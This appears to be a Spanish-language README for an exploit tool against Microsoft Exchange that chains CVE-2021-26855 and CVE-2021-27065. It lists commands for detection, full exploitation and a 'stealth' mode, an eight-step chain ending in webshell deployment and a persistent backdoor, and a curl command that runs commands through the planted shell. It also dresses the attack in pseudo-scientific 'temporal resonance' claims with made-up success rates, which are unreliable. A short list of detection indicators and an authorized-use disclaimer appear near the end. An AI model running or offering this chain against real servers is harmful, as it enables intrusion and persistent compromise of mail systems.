# Parámetros CTT principales
CTT_ALPHA = 0.0302011          # Coeficiente de dispersión temporal
CTT_LAYERS = 33                # Capas temporales fractales
CTT_PRIMES = [10007, 10009, 10037, 10039, 10061]  # Ventanas de resonancia

# Ecuaciones clave implementadas
# 1. Dispersión α: payload' = payload ⊕ (capa·α·1000) mod 256
# 2. Peso de capa: w_d = exp(-α·d) para temporización de solicitudes
# 3. Resonancia prima: f_res = 1/p μs alineación temporal

# Paquetes Python necesarios
pip install requests numpy cryptography urllib3

# Opcional para funciones avanzadas
pip install scipy concurrent-log-handler

# 1. Detectar Exchange Server
python ctt_exchange_rce.py https://exchange.corp.com

# 2. Explotación completa (7 capas temporales)
python ctt_exchange_rce.py 192.168.1.100 --layers 7

# 3. Modo sigiloso (solo temporización prima)
python ctt_exchange_rce.py https://mail.example.com --stealth

# 4. Acceso manual a webshell
curl "https://exchange.corp.com/owa/auth/ctt_shell.aspx?ctt_cmd=whoami"

python ctt_exchange_rce.py <target> [options]

Options:
  --layers N       Number of CTT temporal layers (default: 7)
  --stealth        Enable prime-timing evasion only
  --verbose        Detailed output with CTT diagnostics
  --timeout N      Connection timeout in seconds (default: 10)
  --output FILE    Save results to JSON file
  --no-webshell    Skip webshell deployment (assessment only)

1. Detección de Exchange Server
   → Sondear puntos finales OWA, ECP, EWS, Autodiscover, MAPI
   → Identificar indicadores de versión y servicios accesibles

2. Comprobación de vulnerabilidad SSRF (CVE-2021-26855)
   → Probar inyección de cabecera X-BEResource
   → Verificar acceso a punto final interno mediante SSRF
   → CTT: Temporización prima para eludir filtrado de solicitudes

3. Filtración de Legacy DN
   → Usar SSRF hacia EWS para enumeración de usuarios
   → Extraer LegacyDN administrativo mediante solicitudes SOAP
   → CTT: Dispersión α para ofuscar payloads SOAP

4. Conversión de SID
   → Convertir LegacyDN a Identificador de Seguridad
   → Necesario para explotación WriteDACL
   → CTT: Validación multicapa para precisión

5. Acceso al Directorio Virtual OAB
   → Extracción y autenticación de canary ECP
   → Identificar directorio OAB para colocación de webshell
   → CTT: Gestión de sesión específica de capa

6. Explotación WriteDACL (CVE-2021-27065)
   → Modificar permisos del directorio OAB
   → Obtener capacidad de escritura arbitraria de archivos
   → CTT: Solicitudes ECP temporizadas por resonancia

7. Despliegue de Webshell
   → Subir webshell ASPX a través de OAB ExternalUrl
   → Shell mejorada CTT con validación temporal
   → Limpieza automática de artefactos de despliegue

8. Ejecución de Comandos
   → Ejecutar comandos arbitrarios a través del webshell
   → Puerta trasera CTT: Activación de capa prima (capa 33)
   → Acceso persistente mediante resonancia temporal

# Tasas de éxito multicapa
Layer_Success = {
    'Layer 0-7':  '94.7%',    # Zonas de alta resonancia
    'Layer 8-15': '92.1%',    # Resonancia media  
    'Layer 16-23':'88.3%',    # Resonancia baja
    'Layer 24-32':'85.6%',    # Casos límite
    'Overall':    '90.2%',    # Media ponderada
    'Standard':   '68.5%',    # Línea base sin CTT
}

# Firmas de Red:
- Solicitudes HTTP con cabeceras X-CTT-Layer
- Solicitudes temporizadas con primos (intervalos 10007, 10009μs)
- Payloads con dispersión α (codificación no estándar)
- Patrones de User-Agent específicos de capa

# Indicadores basados en Host:
- Modificaciones de OAB ExternalUrl
- Solicitudes inusuales de WriteDACL a ECP
- Creación de archivo /owa/auth/ctt_shell.aspx
- Patrones de resonancia temporal en registros

# Específicos de CTT:
- Patrones de solicitud de 33 capas
- Correlación de números primos en temporización
- Coeficiente α=0.0302011 en payloads

ctt_exchange_results_TIMESTAMP/
├── discovery.json           # Evaluación inicial del objetivo
├── exploitation_log.json    # Registro de ejecución paso a paso
├── webshell_info.txt       # Detalles del webshell desplegado
├── commands_executed.txt   # Historial de ejecución de comandos
├── ctt_metrics.json        # Métricas de rendimiento y resonancia
└── layers/
    ├── layer_0.log         # Ejecución de capa individual
    ├── layer_1.log
    ...
    └── layer_32.log

{
  "target": "https://exchange.corp.com",
  "vulnerable": true,
  "ctt_score": "10.0+",
  "exploitation_time": "42.7s",
  "successful_layers": [0, 3, 5, 7],
  "webshell_url": "https://exchange.corp.com/owa/auth/ctt_shell.aspx",
  "resonance_patterns": {
    "prime_alignment": 87.3,
    "layer_correlation": 91.8,
    "temporal_efficiency": 94.2
  }
}

# Modificar en ctt_config.py para investigación
CTT_CONFIG = {
    'alpha': 0.0302011,           # Coeficiente de dispersión
    'layers': 33,                 # Capas temporales
    'primes': [10007, 10009, 10037],  # Ventanas de resonancia
    'stealth_mode': True,         # Máxima evasión
    'max_threads': 10,            # Capas concurrentes
    'timeout_multiplier': 1.5,    # Ajuste de temporización CTT
    'entropy_seed': 'custom_seed' # Base criptográfica
}

# 1. Modo API
from ctt_exchange_rce import CTT_ExchangeExploit

exploit = CTT_ExchangeExploit("https://target.com")
results = exploit.multi_layer_exploit(layers=5)
print(json.dumps(results, indent=2))

# 2. Integración con Pipeline CI/CD
python -m ctt_exchange_rce --target ${TARGET} --output results.json

# 3. Evaluación Automatizada
import subprocess
result = subprocess.run([
    "python", "ctt_exchange_rce.py",
    "https://exchange.corp.com",
    "--layers", "3",
    "--no-webshell"
], capture_output=True, text=True)

Permitido:
  - Investigación de seguridad en sistemas propios
  - Pruebas de penetración autorizadas
  - Validación del marco CTT
  - Demostraciones educativas

Prohibido:
  - Acceso no autorizado a sistemas
  - Pruebas en entornos de producción sin permiso
  - Explotación maliciosa
  - Exfiltración de datos o daños

# Si se descubren vulnerabilidades:
1. Documentar hallazgos con patrones de resonancia CTT
2. Reportar a la organización mediante canales autorizados
3. Compartir detalles técnicos con la comunidad de seguridad
4. Publicar métodos de detección CTT para defensa

ESTA HERRAMIENTA ES SOLO PARA INVESTIGACIÓN DE SEGURIDAD AUTORIZADA.
LOS USUARIOS ASUMEN TODA LA RESPONSABILIDAD POR EL CUMPLIMIENTO DE
LAS LEYES Y REGULACIONES APLICABLES. LOS AUTORES RECHAZAN TODA
RESPONSABILIDAD POR USO NO AUTORIZADO O ILEGAL.

**Plantilla de Incidencia CTT Exchange:**
- Versión de Exchange objetivo: 
- Parámetros CTT utilizados: 
- Patrones de resonancia observados: 
- Tasas de éxito de capa: 
- Registros de error: 
- Mejoras sugeridas:

[email protected]
PGP: [Disponible en GitHub]